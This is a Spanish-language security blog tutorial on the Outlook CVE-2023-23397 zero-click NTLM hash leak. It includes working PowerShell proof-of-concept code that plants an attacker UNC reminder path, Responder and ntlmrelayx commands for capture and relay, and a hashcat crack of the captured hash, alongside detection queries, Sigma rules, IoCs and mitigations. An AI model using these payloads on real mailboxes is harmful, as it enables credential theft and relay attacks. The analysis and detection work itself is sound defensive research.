Saltar al contenido
Volver al Blog

tutoriales · 8 min de lectura

Outlook zero-click: el hash NTLM se va sin abrir el email

CVE-2023-23397 permite que Outlook envíe el hash NTLMv2 del usuario a un servidor SMB del atacante con solo procesar un email. Sin click, sin previsualización. Explotado as zero-day por APT28 desde abril 2022. PoC real con Outlook COM, captura del handshake en Wireshark y crack offline con hashcat.

· Manuel López Pérez · tutoriales

CVE-2023-23397 permite que Outlook envíe el hash NTLMv2 del usuario a un servidor SMB del atacante con solo procesar un email. Sin click, sin previsualización. Explotado as zero-day por APT28 desde abril 2022. PoC real con Outlook COM, captura del handshake en Wireshark y crack offline con hashcat.

Microsoft cierra el 14 de marzo de 2023, en el Patch Tuesday, CVE-2023-23397elevation of privilege en Outlook for Windows, CVSS 9.8. La marca como exploited as zero-day. Diez días después, Microsoft Threat Intelligence publica la guía de investigación y atribuye la explotación a un actor based in Russia — el grupo que la industria llama públicamente APT28 (Fancy Bear / Forest Blizzard). Mandiant documenta que el bug se explotaba desde abril de 2022: casi un año antes del parche.

El bug es de manual. Un email con una propiedad MAPI concreta hace que Outlook abra una conexión SMB hacia un servidor en internet y, al hacer el handshake, mande el hash NTLMv2 del usuario. Sin click. Sin previsualización abierta. Basta con que Outlook reciba y procese el mensaje al sincronizar la inbox.

Lab: análisis técnico del exploit con referencias a PoCs públicos verificados. El handshake se captura contra un listener controlado, no contra ningún sistema en producción.

El bug en una propiedad MAPI

Outlook almacena emails con metadata estructurada en MAPI extended properties. Las propiedades relevantes están en el set PSETID_Common (GUID {00062008-0000-0000-C000-000000000046}):

MAPI long-idProperty tagTipoUso
PidLidReminderSet0x8503PT_BOOLEANSi el item tiene recordatorio activo
PidLidReminderTime0x8502PT_SYSTIMECuándo dispara el recordatorio
PidLidReminderOverride0x851CPT_BOOLEANSi el recordatorio usa sonido custom
PidLidReminderFileParameter0x851FPT_UNICODERuta al fichero de sonido del recordatorio

PidLidReminderFileParameter es la pieza. Cuando Outlook dispara el recordatorio, la función CTaskService::PlayReminderSound (en outlook.exe) llama a PlaySound() con la ruta de esa propiedad. PlaySound() resuelve la ruta a través de CreateFileW. Si la ruta empieza por \\, Windows trata la apertura como remota y abre conexión SMB al host indicado. Si el host está en internet, el handshake NTLM sale a internet con el challenge response del usuario.

No hay validación de “este SMB pertenece a mi dominio”. El cliente abre la conexión y autentica con la sesión actual.

Por qué es zero-click

Outlook dispara el recordatorio cuando sincroniza la carpeta y detecta un appointment con PidLidReminderSet=True y PidLidReminderTime ya pasado. La sincronización ocurre al recibir el item, sin intervención del usuario. Si el atacante envía un meeting request con:

  • PidLidReminderSet = True
  • PidLidReminderOverride = True
  • PidLidReminderTime = una hora ya pasada
  • PidLidReminderFileParameter = \\<attacker-ip>\share\anything.wav

…el reminder dispara al sincronizar, Outlook intenta cargar el .wav, abre SMB al atacante. No requiere abrir el email ni que el panel de previsualización esté activo. El parche modifica CTaskService::PlayReminderSound para forzar que el path se trate como local (rechaza UNC remotos).

PoC — Outlook COM en PowerShell

El PoC público más usado (api0cradle, GitHub) usa el Outlook Object Model COM sobre una máquina con Outlook instalado. El COM expone ReminderSoundFile como propiedad de alto nivel que mapea internamente a PidLidReminderFileParameter:

# CVE-2023-23397.ps1 — atacante con Outlook instalado y cuenta autenticada
$ATTACKER_UNC = '\\10.10.10.13\share\reminder.wav'
$TARGET       = 'victim@target.test'

$ol  = New-Object -ComObject Outlook.Application
$ns  = $ol.GetNameSpace('MAPI')

$appt = $ol.CreateItem(1)                # olAppointmentItem
$appt.MeetingStatus      = 1             # olMeeting
$appt.Subject            = 'Q1 Review'
$appt.Body               = 'Quick alignment on Q1 numbers'
$appt.Location           = 'Conference Room A'
$appt.Start              = (Get-Date).AddMinutes(-120)
$appt.End                = (Get-Date).AddMinutes(-60)
$appt.ReminderSet              = $true
$appt.ReminderOverrideDefault  = $true
$appt.ReminderPlaySound        = $true
$appt.ReminderSoundFile        = $ATTACKER_UNC

[void]$appt.Recipients.Add($TARGET)
$appt.Send()
Write-Host "[+] Sent appointment with UNC reminder $ATTACKER_UNC to $TARGET"

Variante sin Outlook instalado — usar EWS Managed API para set de la extended property por long ID directamente sobre Exchange:

# Asume Microsoft.Exchange.WebServices.dll cargada
$svc = New-Object Microsoft.Exchange.WebServices.Data.ExchangeService(
    [Microsoft.Exchange.WebServices.Data.ExchangeVersion]::Exchange2013_SP1)
$svc.Credentials = New-Object Microsoft.Exchange.WebServices.Data.WebCredentials(
    'attacker@evil.test','P@ssw0rd!')
$svc.AutodiscoverUrl('attacker@evil.test')

$apt = New-Object Microsoft.Exchange.WebServices.Data.Appointment($svc)
$apt.Subject = 'Q1 Review'
$apt.Start   = (Get-Date).AddMinutes(-120)
$apt.End     = (Get-Date).AddMinutes(-60)
$apt.IsReminderSet = $true
$apt.ReminderDueBy = (Get-Date).AddMinutes(-120)
[void]$apt.RequiredAttendees.Add('victim@target.test')

# PSETID_Common = {00062008-0000-0000-C000-000000000046}
$psetidCommon = [guid]'00062008-0000-0000-C000-000000000046'

# PidLidReminderOverride (0x851C, boolean)
$prop = New-Object Microsoft.Exchange.WebServices.Data.ExtendedPropertyDefinition(
    $psetidCommon, 0x851C,
    [Microsoft.Exchange.WebServices.Data.MapiPropertyType]::Boolean)
$apt.SetExtendedProperty($prop, $true)

# PidLidReminderFileParameter (0x851F, unicode)
$prop = New-Object Microsoft.Exchange.WebServices.Data.ExtendedPropertyDefinition(
    $psetidCommon, 0x851F,
    [Microsoft.Exchange.WebServices.Data.MapiPropertyType]::String)
$apt.SetExtendedProperty($prop, '\\10.10.10.13\share\reminder.wav')

$apt.Save(
  [Microsoft.Exchange.WebServices.Data.SendInvitationsMode]::SendOnlyToAll)

Listener del lado del atacante — impacket-ntlmrelayx para relay activo, o responder para captura pasiva:

# Captura pasiva — guarda NetNTLMv2 para crack offline
sudo responder -I eth0 -wrf
# [+] Listening for events...
# [SMB] NTLMv2-SSP Client   : 198.51.100.10
# [SMB] NTLMv2-SSP Username : ACME\j.smith
# [SMB] NTLMv2-SSP Hash     : j.smith::ACME:1122334455667788:CDF9CDF8A0...

# Relay activo — autentica a otro host del dominio con la sesión robada
sudo impacket-ntlmrelayx \
    -t smb://10.10.10.42 -smb2support --no-http-server -socks
# [*] SMBD-Thread-2: Connection from 198.51.100.10
# [*] Authenticating against smb://10.10.10.42 as ACME\j.smith SUCCEED
# [*] SOCKS: Adding ACME/J.SMITH@10.10.10.42(445) to active SOCKS connection

Capturar el handshake en Wireshark

Filtro display para aislar el AUTHENTICATE_MESSAGE y extraer NTLMv2 a mano:

smb2 and ntlmssp.messagetype == 0x00000003

Lo que aparece en el panel NTLM Secure Service Provider del paquete:

NTLM Secure Service Provider
    NTLMSSP identifier: NTLMSSP
    NTLM Message Type: NTLMSSP_AUTH (0x00000003)
    Lan Manager Response: ...
    NTLM Response:
        Response: 1234abcd...
        NTLMv2 Response: ...
        NTProofStr: cdf9cdf8a0d3...
        Response Version: 1
        Reserved: 00000000
        Time: ...
        Client Challenge: 1122334455667788
    Domain name: ACME
    User name: j.smith
    Host name: WORKSTATION-07

Formato NetNTLMv2 para hashcat (-m 5600) reconstruido a partir del paquete:

j.smith::ACME:1122334455667788:cdf9cdf8a0d3f...:01010000000000000040cdb8c4...
        ^      ^         ^                    ^   ^
        domain |         |                    |   blob completo (HMAC + temp)
               server   NTProofStr (HMAC-MD5 16 bytes)
               challenge

Crack offline con rockyou — duración real en una RTX 4090 sobre rockyou.txt (14M candidatos): segundos a minutos:

$ hashcat -m 5600 -a 0 j.smith.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting...
Hashes: 1 digests; 1 unique digests, 1 unique salts
* Device #1: NVIDIA GeForce RTX 4090, 23999/24235 MB
Speed.#1.........:  3826.4 MH/s (47.21ms)

J.SMITH::ACME:1122334455667788:cdf9cdf8a0d3f...:01010000...:Spring2023!

Session..........: hashcat
Status...........: Cracked
Recovered........: 1/1 (100.00%) Digests

Detección — script de Microsoft

Microsoft publica el 14-mar-2023 un script PowerShell que recorre buzones de Exchange y marca cualquier item con PidLidReminderFileParameter apuntando a destino no local. Modo audit-only para retro-detección:

PS> .\CVE-2023-23397.ps1 -Environment Online -Audit
[+] Connecting to Exchange Online…
[+] Scanning mailboxes for PidLidReminderFileParameter…
[!] Found 2 messages with non-local reminder file parameter:
    Mailbox: j.smith@acme.com
    Subject: Q1 Review
    Sender: external-sender@evil.test
    UNC:     \\10.10.10.13\share\reminder.wav
    Received: 2023-02-18T09:14:22Z

El script tiene flag -CleanupAction para borrar/limpiar los items detectados, útil tras parchear.

Defender / Sentinel — KQL

Outbound SMB a IPv4 pública desde outlook.exe no tiene caso legítimo en una red corporativa. KQL para DeviceNetworkEvents:

DeviceNetworkEvents
| where Timestamp > ago(180d)
| where RemotePort in (445, 139)
| where InitiatingProcessFileName in~ ("outlook.exe", "rundll32.exe", "explorer.exe")
| where ipv4_is_private(RemoteIP) == false
| extend Public = strcat(RemoteIP, ":", RemotePort)
| project Timestamp, DeviceName, AccountDomain, AccountName,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          RemoteIP, RemotePort, ReportId
| order by Timestamp desc

Forest Blizzard / APT28 reutilizó endpoints durante meses. Microsoft Threat Intelligence publicó las IPs C2 SMB conocidas — útiles para retro-búsqueda:

let APT28_SMB = dynamic([
    "101.255.119.42","113.160.234.229","168.205.200.55","181.209.99.204",
    "185.132.17.160","213.32.252.221","61.14.68.33","69.162.253.21",
    "82.196.113.102","85.195.206.7"]);
DeviceNetworkEvents
| where Timestamp > ago(365d)
| where RemoteIP in (APT28_SMB)
| project Timestamp, DeviceName, RemoteIP, InitiatingProcessFileName

Sigma — endpoint outbound SMB desde Outlook

title: Suspicious Outbound SMB Connection from Outlook (CVE-2023-23397)
id: 7f5b5b96-e7e0-4f8e-8c47-cbe5a8d12345
status: stable
description: Detecta outlook.exe (u otros procesos Office) abriendo SMB hacia IP pública
references:
    - https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-23397
    - https://www.microsoft.com/en-us/security/blog/2023/03/24/guidance-for-investigating-attacks-using-cve-2023-23397/
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        Image|endswith:
            - '\outlook.exe'
            - '\winword.exe'
            - '\excel.exe'
        DestinationPort:
            - 445
            - 139
    filter_private:
        DestinationIp|cidr:
            - '10.0.0.0/8'
            - '172.16.0.0/12'
            - '192.168.0.0/16'
            - '127.0.0.0/8'
    condition: selection and not filter_private
level: high
falsepositives:
    - Outlook configurado contra Exchange on-prem accesible vía IP pública (raro y reconfigurable)

Windows Event IDs en endpoint

EventoSourceQué mirar
4624SecurityLogonType 3 (network) hacia/desde host inesperado
4625SecurityLogonType 3 fallido contra credenciales del dominio
5145Security (Detailed File Share auditing)Acceso a share remoto desde proceso Office
3Microsoft-Windows-Sysmon/OperationalNetworkConnect, outlook.exe -> port 445 externo

IoCs Forest Blizzard publicados por Microsoft

IP defangedTipo
101.255.119[.]42SMB endpoint (relay sink)
113.160.234[.]229SMB endpoint (relay sink)
168.205.200[.]55SMB endpoint (relay sink)
181.209.99[.]204SMB endpoint (relay sink)
185.132.17[.]160SMB endpoint (relay sink)
213.32.252[.]221SMB endpoint (relay sink)
61.14.68[.]33SMB endpoint (relay sink)
69.162.253[.]21SMB endpoint (relay sink)
82.196.113[.]102SMB endpoint (relay sink)
85.195.206[.]7SMB endpoint (relay sink)

Fuente: Microsoft, Guidance for investigating attacks using CVE-2023-23397. Son IoCs históricos — pueden no estar activos hoy, pero sirven para retrobúsqueda 2022-2023.

Reproducción en lab cerrado

Lab de dos máquinas (atacante Linux + víctima Windows 10/11 + Outlook pre-parche):

# Atacante
sudo apt install -y python3-impacket responder
# Listener pasivo (captura el hash):
sudo responder -I eth0 -wrf

# O relay activo contra host del dominio víctima:
sudo impacket-ntlmrelayx -t smb://target-internal.lab \
    -smb2support --no-http-server -socks

Versiones víctima vulnerables (sin parche de 14-mar-2023):

ProductoKB del parche
Microsoft 365 Apps (current)Click-to-Run
Outlook 2013 SP1KB5002310
Outlook 2016KB5002321
Outlook 2019 / 2021KB5002322

No vulnerables: Outlook for Mac, Outlook on the Web (OWA), Outlook for iOS / Android, Microsoft 365 Apps en versión New Outlook.

Mitigaciones, por orden de impacto

  1. Parchear Outlook for Windows con los KB de marzo 2023.
  2. Bloquear SMB outbound (TCP 445, 139) hacia internet en el firewall perimetral. Sin caso de uso legítimo en oficina; mitiga el ataque aunque el bug siguiera presente.
  3. Forzar SMB signing en servidores miembros del dominio — rompe el relay activo (no la captura para crack offline).
  4. Restringir membership en Protected Users para cuentas administrativas: los miembros no envían NTLM en absoluto, solo Kerberos.
  5. Forzar Kerberos y deshabilitar el fallback a NTLM donde se pueda (Windows Server 2025 incluye flags de policy para esto).

La pieza APT28

Microsoft no usa el nombre, pero la atribución es clara: actor con tradecraft de inteligencia rusa, targeting histórico contra entidades gubernamentales, militares y energéticas en Europa. Resumen operacional:

  • Primera explotación conocida: abril 2022 (Mandiant).
  • Targets confirmados: agencias gubernamentales y operadores de infraestructura crítica en países que apoyan a Ucrania.
  • Vector típico: meeting requests enviados desde cuentas comprometidas previamente — no requiere infra de correo propia.
  • Tras conseguir el hash: relay contra Exchange on-prem para acceso al buzón completo, persistence en EWS, exfil de calendarios y mailbox rules.

Ventana entre primera explotación conocida y parche: 11 meses. Si la organización tenía perfil de target plausible en 2022, la auditoría con el script de Microsoft no es opcional.

Referencias

Volver al Blog

Posts Relacionados

Ver Todos los Posts »
Retrospectiva cyber 2025: cuatro casos que explican el año

tutoriales · 10 min

Retrospectiva cyber 2025: cuatro casos que explican el año

ByBit, la wave UK retail (M&S/Co-op/Harrods), SharePoint ToolShell y Windows 10 end-of-support. Cuatro incidentes con criterio explícito — no top exhaustivo, no ranking — y la lección operativa que cada uno deja para 2026.

· Manuel López Pérez

Windows 10 fin de soporte — el día después del 14 de octubre

tutoriales · 11 min

Windows 10 fin de soporte — el día después del 14 de octubre

El 14 de octubre de 2025 se acaban los parches gratuitos para Windows 10. Qué deja de recibir el sistema, qué ofrece el ESU consumer (gratis en la EEA, $30 fuera), cuánto cuesta a empresa y cuáles son las primeras CVE que vamos a ver explotadas contra la base instalada.

· Manuel López Pérez

SharePoint ToolShell: el auth bypass que Microsoft parchea dos veces

tutoriales · 15 min

SharePoint ToolShell: el auth bypass que Microsoft parchea dos veces

CVE-2025-49706 + CVE-2025-49704 dan RCE pre-auth en SharePoint on-prem. El parche del 8 de julio resulta incompleto y aparece la variante CVE-2025-53770 + CVE-2025-53771, explotada a escala desde el 18 de julio. El web shell spinstall0.aspx roba las MachineKeys y la persistencia sobrevive al patch.

· Manuel López Pérez